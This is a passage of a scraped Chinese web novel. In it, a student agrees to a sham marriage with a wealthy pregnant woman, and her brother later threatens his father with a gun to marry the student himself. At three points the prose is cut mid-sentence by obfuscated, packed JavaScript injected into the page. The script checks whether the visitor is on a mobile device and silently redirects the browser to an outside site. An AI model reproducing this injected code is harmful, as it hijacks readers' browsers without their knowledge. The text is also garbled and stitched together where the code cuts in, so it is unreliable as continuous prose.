路听好不容易咳完了,冷意又席卷全身。他努力搓着手,见祁舒尔用那种说不清道不明的眼神看他,他一紧张。 祁舒尔笑:“怕什么?” “怕我吃了你不成?放心!今天姐姐没带酒,不会故意灌你的!” “……” 灌酒乱醉那事儿早就挑开,可路听依旧有些不知所措。 祁舒尔抽了会儿烟,忽然也猛地咳嗽了两声,被烟呛得。路听打着哆嗦,结结巴巴,问她, “姐,你能不能、把烟给戒了啊……” “你怀着孩子,抽烟对孩子不好……” 祁舒尔想到孩子,忽然就想起祁聿风让她把孩子给摘了,他想到祁聿风不要让她继续要这个宝宝,好像还去擦了自己造孽后的烂尾。她随即问路听,祁聿风是不是给他打了一笔“道歉款”? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路听睁开眼,与祁舒尔四目对视。祁舒尔也已经平静了,肚子里的孩子也没什么大碍。祁舒尔望着路听,对他将自己的信息保护好这件事,轻轻说了声谢谢。 路听挠挠头,把旁边扣着保温盒的水饺拿过来,递给祁舒尔, “吃点儿。” “医生说你营养不良,得好好吃饭。” “……” 祁舒尔接过饺子,路听一指床头,又说, “你手机,在你睡觉的时候,一直在响。” 祁舒尔咬着的筷子一顿,翻过去找手机。 打开,里面满屏幕的【祁聿风】三个字。 路听实在是太困,见祁舒尔醒了,他真不想继续呆在这里。他见祁舒尔一直在低着头发短信,他说了句“我得回宿舍了”。 祁舒尔没回,好像那短信已占据她全部注意力。 路听站起身,悄悄离开了病房。 临走那一刻,祁舒尔好像打通了电话,关上门那一瞬间,“祁聿风”三个字掩在了那厚重铁门之内。 回到宿舍,路听洗了把脸就翻到了床上去。 他困到要死,可在床上翻来覆去,却睡不着。 祁舒尔跳河那个画面总是在他脑海中闪现,也不知道执着了个什么劲儿。祁舒尔最后是给祁聿风打的电话吧?祁聿风在祁舒尔昏迷期间还给祁舒尔拨了接近二十个电话,明明他完全不知道祁舒尔进医院了。 真是对奇怪的兄妹! 路听压着太阳穴不去想,逼迫自己睡觉。窗外传来学校农学院养的鸡咯咯打鸣,他紧闭双眼,快睡快睡快睡…… 叮咚——! 手机忽然响了。 路听睁开眼,很难受地去摸手机。翻开显示屏,他突然看到银行app上又多了一个短信提示白条。 他点开了那个白条: {路听您好:祁聿风于2022年02月01日04:23:18时向您尾号后四位为2001的中行账户发起人民币100000元的转账,请注意查收,本短信不作为入账凭证。(备注:感谢)【中国银行】} 20.【过去·结束】 第二天早晨不到七点,路听就起床,收拾了一些吃的喝的用的,坐地铁去医院。 新的一年伊始,大街上都弥漫了年味。路听家里早就没人了,他原本以为今年的冬天会和往年一样碌碌走过,可没想到让人跑来跑去的事情一而再再而三接踵而至。 祁聿风昨晚既然又给他打了钱,他就觉得,不能丢下祁舒尔在医院里不管。 总得送点儿东西过去吧? 路听到了医院,匆匆去了妇产科和住院部。电梯停在十五层,他出门右拐,提着东西往病房走。 走到了病房外的那条走廊,一拐墙角,还没到门口。 忽然,就隐约听到,昨天离开时那间病房门内,传来撕心裂肺的吼声。 这一层住院的人不多,也没人出来看热闹。路听走到门口,站在铁门前,没有立刻推开门。 里面的确是祁舒尔在怒喊,像是在打电话,对着电话发疯。 “是啊!留着孩子我会给祁氏带来灾难!这一点我清楚!我好歹也掌管轻工业部分那么多年,我比任何人都知道这事儿万一暴露,祁家会被砍到大动脉!” “可我怎么办?找谁接能安全?谁又愿意接?你让我摘了小孩,可是医生说我如果不要这个孩子,我这辈子都不可能做的了母亲了!” “哥,要不你让爸妈就当我死外面了吧!我生下来孩子就申请去欧洲分部,就让我烂死在那里,这辈子都不会再回来了。这样他们查不到小孩的亲生父亲是谁,就不会以此来威胁祁家。我也不想这样,可没办法了……” 路听大致听明白:原来祁舒尔肚子里的孩子的亲生父亲犯了绝对无法饶恕的罪,性质极为恶劣。这事儿一旦被人发现拿到明面上做文章,整个祁氏都要遭重创!可如果把小孩藏着掖着,早晚有一天也会被扒出踪迹。 所以她当时才那么迫切,希望能让路听考虑考虑。她也不知道为什么会如此信任路听,信任他绝对不会出卖她。 路听站在门口听的内心五味复杂,医院冬日里的风从玻璃窗外一阵一阵往走廊里吹。他其实真的不喜欢祁舒尔,顶多有点崇拜。他也很害怕祁聿风,感觉帮着祁舒尔来劝他的那个男人又锋利又强势逼人。 他的大脑告诉自己,他应该掉头就跑开的。 当作没听见,当作收了祁聿风的钱,从此他们两清。 可路听就是路听啊,是那个在学校里总是被舍友戏弄什么事都很难拒绝的大好人路听。偏偏他就是走不动了,双腿像被灌满了铅,发沉,钉在了祁舒尔的哭泣声中。 祁舒尔在房间内哭得很伤心,年味都冲散了不少。路听站在门外深深吸了口气,他从口袋里找出手机,找出了通讯录黑名单。 找出了,被他拉黑掉了的,祁聿风的手机号码。 手机号码是他特地从银行那边抠来的,为了跟祁家彻底断绝关系,他想尽一切方法拉黑这对兄妹。他原本以为那个夜晚既然什么都没发生,那么往后人生也不应该再被影响。可新年的鞭炮在响,大年初一的红色灯笼在天空高高挂。他捏着手机,翻来覆去。 最终,嗖—— 短信发送至大洋彼岸。 【祁先生,我考虑好了。 我答应,娶祁舒尔!】 …… …… …… 路听发完短信,长舒一口气,他把手机丢回到口袋,转身准备出去再买个包子静一静。 然而他刚转头,还没来得及转身,长椅背面突然传来“吱呀”一声,身后病房的铁门,被人从里面拉开。 祁舒尔穿着病号衣,站在门口,注视着路听到身影。 “路听?” “哥,他确实……在门口!” 路听口袋里没放好的手机、 啪嗒—— 掉落在了地上。 …… * 知情的一二三四再一次坐到了一起。 祁舒尔出院,找了个她自己名下的酒店。大过年饭店倒是蛮热闹,好多有钱人不愿意在家吃,就来这些名贵餐厅。 路听依旧坐地铁过来的,风尘仆仆。他第一次刷酒店黑金卡坐VIP电梯上顶层餐厅,旁边的工作人员仿佛一夜之间知道他的身份,从他踏入酒店正大门那一刻,全部九十度鞠躬喊“路先生好”。 到了套间,路听发现祁聿风并没有来。除了祁舒尔坐在榻榻米上,旁边还有一个长相十分俊秀温雅的西装男,坐在影视区的沙发里。 祁舒尔跟这个男人似乎很熟,指了指,介绍说这是祁聿风的首席助理,许林。 路听落了座,看祁舒尔正在围炉烤茶,上面小年糕小橘子小红枣,路听怕她伤者,主动拿过来夹子,“我来吧!” 祁舒尔:“……” 三个人喝了会儿茶,才开始说正事儿。许林是代表祁聿风来的,祁聿风在美国那边抽不开身。许林展开了祁聿风亲自拟订的“祁舒尔与路听婚前协议”,一张一张纸,叠着压在镶玉的大理石桌面上。 “这是祁总初步给出对路先生的补偿,”许林:“路先生看一下。” 路听低着头,一张一张看。上面写的十分详细,又有条理。从房子,车子,再到小孩出生后的照顾培养,以及路听自己对自身发展的规划物质需求。 每一条后面都跟着起步价,几乎都是八位数起步。因为路听并没有直说他在这场“交易”里究竟想要什么,祁聿风不知道怎么补偿他,就干脆直接给钱。 路听看着那些对他而言只有好没有任何坏的合同,又有种在做梦的感觉。他担心里面会不会有诈,就比如其实这几个人是想把他抓去嘎了卖/腰/子。 路听小声问:“这份合同上,我……对我没有什么要求吗?” 许助理推推眼镜:“有。” 路听:“什么?” 许林:“祁先生说,对路先生的要求不太方便出现在纸质文书里。” “因为涉及到的内容比较主观,并且日后路先生执不执行全凭自愿。祁先生希望小路先生婚后能和舒尔小姐相敬如宾,哪怕没有爱情基础,也要做到‘和睦恩爱’。” “对内对外不希望看到任何反差,对外有无数只眼睛在盯着祁家的一举一动,稍有差错可能就会葬送整个祁氏;对内老爷和老夫人现还不知道舒尔的状况,如若路先生不情不愿,老爷子和太太万一发现眉头,现在的知情人士一个都别想好过。” “我表达的,小路先生能理解吗?” “……” 路听听明白了,是让他跟祁舒尔演戏。 “那,还确实挺要花费心思的!”路听喃喃道。 许助理:“这件事你知我知祁总知,除此之外别无第四个人知。因为涉及到祁氏的安危,所以请路先生谅解。” 坐在一旁烤奶茶的祁舒尔突然打断他, “那小许你不知道?” “你不知道,怎么过来传达?” 许林微微一笑:“除去结婚,内情一概不知。” 祁舒尔:“……” 路听尴尬笑了两声,给僵硬的氛围拉拢拉拢热闹。他其实觉得没什么问题,拿着备用笔,很痛快地在合同上签了字。 “我能理解,能理解!” 二十来岁的男孩子,趴在桌子上一笔一划写下他的名字,将他生命中最宝贵的婚姻交付了除去。祁舒尔低头看着路听签字,乌发,白白的皮肤,红唇白齿,握住笔的手都细腻柔润。祁大小姐的内心其实还是稍微有点复杂,以前真的只是追这个男孩追着玩玩,觉得他又土又朴素。 土包子的背后,藏着一颗遇事愿负责的真心。 路听签完字,长舒了一口气。桌面上烤好的奶茶咕噜咕噜冒着热气,路听看着拟合同上“祁聿风代笔”三个字,一下子又想到祁聿风这个祁舒尔的哥哥。 这个自始至终都贯穿着他们事情的始末,路听想了想,劝动路听答应结婚的人是他,婚前协议拟订的人也是他,但到今天为止,他却从未见到过他这个又冷漠又“操了一肚子心”的大舅哥。 “那我们结婚,你哥会来吗?”路听问祁舒尔。 祁舒尔看了眼许林,许林在悠悠品着茶。对于祁聿风这个人,许助理谈论时总会带着敬重老板的微笑, “祁总非常忙。” “不过,亲妹妹的婚宴,先生一定尽量到!” …… 其实对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁父:“路听,你和祁舒尔结婚,我们原本持反对意见,但舒尔执意爱你,我们做父母也只能妥协。只是如今舒尔去世,你却要跟她哥哥搞在一起,还是最疼爱她的亲哥哥。现在外面已经有风声在骂舒尔死都不瞑目、嫁了个骗婚的,从高高在上津港第一大小姐沦落为老公出轨亲哥哥的笑柄。” “聿风呢,他爱祁舒尔毋庸置疑,但你的出现却让他背上伦理道德的谴责。他那么疼惜的妹妹,他却对妹妹的丈夫动心。你有没有想过,你们如果在一起,日后面对流言蜚语,聿风需要承受多少谩骂的煎熬?” 书房的门被推开,公馆的管家送来一份手抄经文。祁父接过,待管家离去,他翻了翻那些经文,对着路听挥了挥, “你知道这些是什么吗?” 路听不知道,混乱着摇头。 祁父:“那天聿风风尘仆仆赶回家,想要给你讨个名分。他妈妈骂他疯了,他给你名分,那他把祁舒尔置于何地?我说祁家从未出现过这么不伦不类的孽缘,祁氏列祖列宗也不会同意!他要是真想带你走,除非让祖宗们都原谅他这种悖德行为。” “聿风一声不吭,承受完家法后,带着伤就去祠堂抄经书。你来之前已经抄了一天一夜,还发了高烧。他母亲已经气到要他抄完了就彻底跟祁家断绝关系,就因为执意要跟你在一起,聿风就要从天之骄子沦落为人人喊打。” “正好路先生来都来了,要一起去看看聿风为了你,接受惩罚的现场吗?” “……” 祁老爷子站起身,端着茶杯直接走了出去。他没勉强路听,自顾自往前走。穿过主别墅,进入到长廊,外面还在下着雨,一滴一滴雨珠砸着每一个人的心。 来到了祠堂,祠堂单独开了一栋房子。这边环境幽暗,无数盏燃烧的蜡烛仿佛是祖宗们的灵魂在眺望守护着这片土地。 祁父在祠堂正堂边的屏风后方停下脚步。 他看着正堂内位列森严的列祖列宗牌位,一沓沓抄完了的经书,铺满了整个祭拜祠堂。祁聿风端庄地跪在祖宗牌位的正下方,赤裸着被抽满了惩罚鞭痕的脊背,一笔一划誊抄经书,抄的虔诚。 真是在为了那段不伦不类的感情,用尽全部的真心去乞求老祖宗们的宽恕和原谅! 祁父冷笑,眼角稍微往身后长廊倾斜了一点。 果然,看到了路听鬼鬼祟祟跟过来的小身影。 21.【21】 如果说路听跟过来之前,还在彷徨,还在内心纠结与挣扎,挣扎祁父说的那些话,挣扎他若是孤注一掷去跟祁聿风在一起,会不会能够拼尽全力扭转局面。 可当他看到祁聿风跪在祠堂的这一幕,突然就如遭五雷轰顶。 他第一次见到,这么狼狈的祁聿风。 印象里的祁聿风,总是穿着裁剪合体的笔挺西服,戴着昂贵的腕表,皮鞋擦的铮亮。他好像永远都是那样的一丝不苟,连一根头发丝儿都是严谨的,鼻梁配戴金丝框眼镜,凌驾于所有人之上。 可眼前的这个男人,却跪在祖宗的祠堂前,衣衫破碎,健硕的脊背上抽满了腥涩的鞭痕。他脸色也很苍白,下过暴雨后的酷暑,空气炎热泥泞,一颗颗冷汗沿着他瘦了一大圈的下颚,不断往下滚落。 铺在桌面上的纸,早已被不知道是露水还是汗水给打湿。 祁聿风为了和他在一起,不惜发着高烧,在祠堂里抄着经书,求列祖列宗原谅他的大逆不道。 那一刻,路听到心脏像是被人用力砸了一拳,血液停止了流动,身上的每一个细胞都在疼痛。他的眼睛里只剩下了祁聿风的身影,祁聿风背对着他,看不到他,堵住嘴巴,轻声咳嗽。 “咳咳,咳咳!” “……” 祁父瞥了眼路听,路听到反应果然如他所料。他们也没去打扰祁聿风,祁父看着自家儿子受苦,眼中也是划过一丝心疼。 但心疼不能当饭吃,眼下便是最能动摇路听到时刻。 外面忽然打了一道很亮的闪电,伴随着轰隆隆的雷鸣声,祠堂被照的惨白,祁聿风脊背上的伤痕倒映在路听空荡荡的瞳仁之中。 祁父借着冷光,幽幽地道, “如果你现在愿意离开聿风,小孩归你,我们不再做任何强求。” “一切都会恢复正常,聿风依旧是那个道貌岸然的祁氏当家人,舒尔依旧是那个璀璨却有遗憾的津港第一大小姐。而你路听,无论你到天涯还是海角,只要你愿意,祁家永远留一个属于祁川的位置。将来遗产划分、舒尔的股份,他所应得的东西一件都不会少,你带着他出去读书,去享受以后无忧无虑的人生,谈恋爱,再交往对象,对象是男是女,那都跟我们无关了。” “路听,你真愿意、因为你的一己私利,让整整四个人与全世界为敌吗?” “……” 祁父看了看表,刚好对面新燃起一柱香。 “还有一柱香的时间,这本经书抄完,聿风会去藏书库换新的经书,会休息一段时间。” “我给你一柱香的时间,再仔细考虑。路听,其实这件事自始至终决定权都在于你,你和聿风的关系,只要是你做出的决定,我相信聿风绝对会理解。接下来该走怎样的路,该让你们两个加上祁川的未来要如何发展、已经去世的舒尔会不会死不瞑目,我希望你、能够慎重抉择!” …… 雨停了。 祁父派人,用专车送路听回工业园。 祁母穿着睡衣从二楼下来,祁聿风又一次昏迷,她又哭干了眼泪。她没想到女儿去世后,儿子也这么不让她省心。她走到一楼,还瞪了狠心的丈夫一眼。 “路听走了?” 祁父关上门,背着手往烟斗里碾烟草叶,摇头叹气, “唉!” 点燃烟,他抽了一口,又想起病倒的儿子,抬头看祁母, “聿风怎么样了?” 祁母走上前去,一抚旗袍,从口袋里拿出一个相册, “这是聿风床头柜发现的。” 祁父接过,翻了翻,里面竟全都是路听父子的照片。 还有舒尔,一家三口的也有,抱着小孩言笑晏晏。 祁父用手按压着额头,儿子搞同性恋这种事儿,放在谁家当父母都是得心梗!以前也没觉得祁聿风好这口啊!也没有这苗头!这个路听,里外都不是人! 祁父又抽了几口烟,半晌,他用烟斗敲着红实木长椅扶手,对祁母说道, “把祠堂的经书还有宣纸都收一收,让管家关祠堂打扫一下。” 祁母抬头:“怎么,不让他抄了?” 祁父把那相册一丢,像是一团垃圾那样丢到桌面的烟灰缸里, “不用了。” “大概率不会有人拉着他私奔了。” …… 深夜。 冷风呼啦啦吹,雪白的丧幡吹动,黑白色相片坠落在实木墙板下。 祁聿风沿着长长的走廊往前走,前方屋里的灯忽闪忽亮,逐渐听到人声嘈杂吵闹,越往前走,越是激烈。 隐约间,似乎还有小孩的哭声。 这个场面好像似曾相识,是的,他见过!祁舒尔葬礼那天,也是这样的十二月飘雪隆冬。 祁聿风推开祠堂的大门,就看到人声鼎沸的祠堂里一个人都没有。只有满地的白色纸钱,还有飘动的白色丧幡。路听抱着年幼的孩儿,跪在祁舒尔的遗照前。 祁聿风想抬起腿,上前去把他抱入到怀里。可他的腿却像是被定住了,怎么抬都抬不动! 路听红着眼眶,呜呜地哭,雪白的丧服都被哭湿透了,好像受到了无尽的委屈,无法宣泄而出。 祁聿风想张开嘴,想对他说不要怕,哥在这里。可还没等他开口,忽然,一阵凛冽的风吹过。 一道黑色的箭羽,“嗖——”撕破风雪,从外面飞速射向屋内! 那支箭羽穿透了祁聿风的身子,祁聿风这才意识到自己是透明状态。他急切地想要大喊,却抓不住那箭,眼睁睁看着箭射向路听—— 箭的尾巴上,拉着长长的一段流言恶语: 【gay骗婚!恶心!去死吧!】 那束无型的箭直扎路听到心脏,透明的箭,传过去便破裂!路听仿佛真的被射中了心脏,呜呜哭的身子忽然颤动了一下,肩膀往下坠落。 紧接而来,是无数支带有谣言恶语的箭羽。 一束束全都扎向路听,谩骂,恶语,穿过心脏,破碎,碎片融入了血骨。路听忽然就大哭了起来,抱着小孩,不断地哀嚎,“我不是骗婚,我没有伤害祁舒尔!川儿不是代孕!饶了我吧!” 祁聿风血红了双眼,他的手在颤抖,他没有想到,在他看不到的地方,路听受着这么些的伤害。 忽然,路听睁大了眼睛,他往祁聿风的这边看了一下,抱着孩子,发疯往门外跑。 祠堂外,是祁氏最大的人工湖花园。 祁聿风大喝了一声,终于挣脱枷锁,狂奔出去。然而最终一步却晚了,路听将祁川安顿好,头也不回跳下了湖。 噗通—— …… 哗啦—— 祁聿风猛地从床上翻身坐起! 他大口喘着气,大汗淋漓。他抬头望了望窗户外,白色窗帘飘动,外面是下过暴风雨后盛夏的清晨。 是梦! 但梦境过于真实,祁聿风也有点心有余悸。他拖着虽已经退了烧但依旧很虚的身子,去茶水间倒了杯水。端着马克杯回卧室喝水间隙,他翻出许林的电话,拨了过去。 许助理很快接通电话。 在电话里,许林听完祁聿风的问题,告诉祁总小路先生一切都正常,祁川也很好。祁聿风松了口气,又问, “证件办好了?” 许林正在办,已经办成功,点了点头:“办下来了!” 祁聿风忽然就听到自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12088612|123108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心跳,在清晰地加速跳动。 这是他第一次拥有心脏会加速跳动的感觉,第一次发现自己原来也会在陷入恋爱时像是二十来岁的年轻毛头小子一样想要去冲动。他有点克制不住自己的感情,想要立刻回去牵上路听到手去画押结婚证书的念头已经压过了他所有思绪。 但经书还没有抄完。 祁聿风拉开书桌的抽屉,手机对面的许林又问了一声“祁总?”祁聿风抽出一把/枪,“啪!”按在了漆黑的桌面上。 他看了一下时间,快要到祁家的早餐点了。 “许林,去把路听到所有证件准备好。”祁聿风将/枪别入后腰,套好西装,“今晚之前,我一定回去!” …… 祁家的早饭常年卡七点过十分。祁老爷子坐在餐桌前雷打不动看早间报纸。 祁聿风穿着周正的西服,一改前两天的虚弱,恢复了气场,准点到达餐厅。祁父翻了一页晨报,就看到祁聿风西服底下,腰间别着鼓囊囊的手/枪。 “……” 祁父瞬间就明白,他的亲生儿子准备做什么! 祁老爷子在心里一下子就怒了!但他表面上还不能立刻就暴。他强忍着火气,试图跟祁聿风今天先不要开战。 “经文抄到哪儿了!”祁父冷冰冰地问。 祁聿风给自己倒了杯红酒,他一大清早就喝上了,还是受了鞭伤!他同样也压着心里的急切,听到父亲的话,知道父亲已经看到他的决意。 他挺平静地道:“还有三书柜。” 祁父:“如果抄不完,趁早放弃!” 祁聿风:“我也没打算继续抄了。” 他突然就放下就被,突然就手伸向后腰,摸出那把手/枪“啪!”拍在了餐桌上!手/枪坚硬,旁边的白瓷盘都被砸出来一个坑! 祁父整个人都愣住,瞪圆了双眼! 祁聿风很淡定地坐在那里,一点儿也不像是在开玩笑。祁父活了这么多年,真真是头一回见到自家这听话又孝顺的好儿子会为了得到一个男人而跟他们反目成仇。祁父彻底忍不住了,撕掉表明伪装,怒, “你为了一个男人,要跟你老爹拼命!” 啪——祁聿风又按了两枚子弹,在桌面上。 祁聿风手压着那两枚子弹,依旧淡定,一字一句, “我会带他去领结婚证。” “……” 祁聿风:“父亲可别忘了,咱们家这一支是如何在祁氏上位,当年我又是如何武装解决掉叔父们的傀儡政权,让我们这一支稳坐祁家江山。当年我能一手血洗祁家,同样的手段,我也能用在娶我心爱之人的这里!” 祁父要气死了。 这一刻,他只是一个受了伤的父亲,他站起身,粗了脖子红了脸,指着最心爱的儿子,破口大骂, “混账!” “你敢开/枪吗!你敢对着你父亲开/枪吗——为了那么一个死不要脸的男表子——” 祁聿风“啪!”的一声,打烂了旁边壁炉上的一只明代珍品元青花花瓶! “……” “……” “……” 那一瞬间,世界都安静了。祁父耳朵像是被锯子给锯掉,响了很长一段的耳鸣声。 元青花碎了一地,壁炉墙面炸出小小一圈,石肖/烟还在回荡。 祁聿风/枪指着墙,一字一句,无比认真道, “放心父亲,我的确不会对您开/枪。” “但我今天,也绝对是要给路听一个名正言顺的合法身份!” “他不是表子,是我祁聿风耳鬓厮磨过的爱人,也是我祁聿风长到年三十岁,第一个并唯一一个想要共度余生的男人!”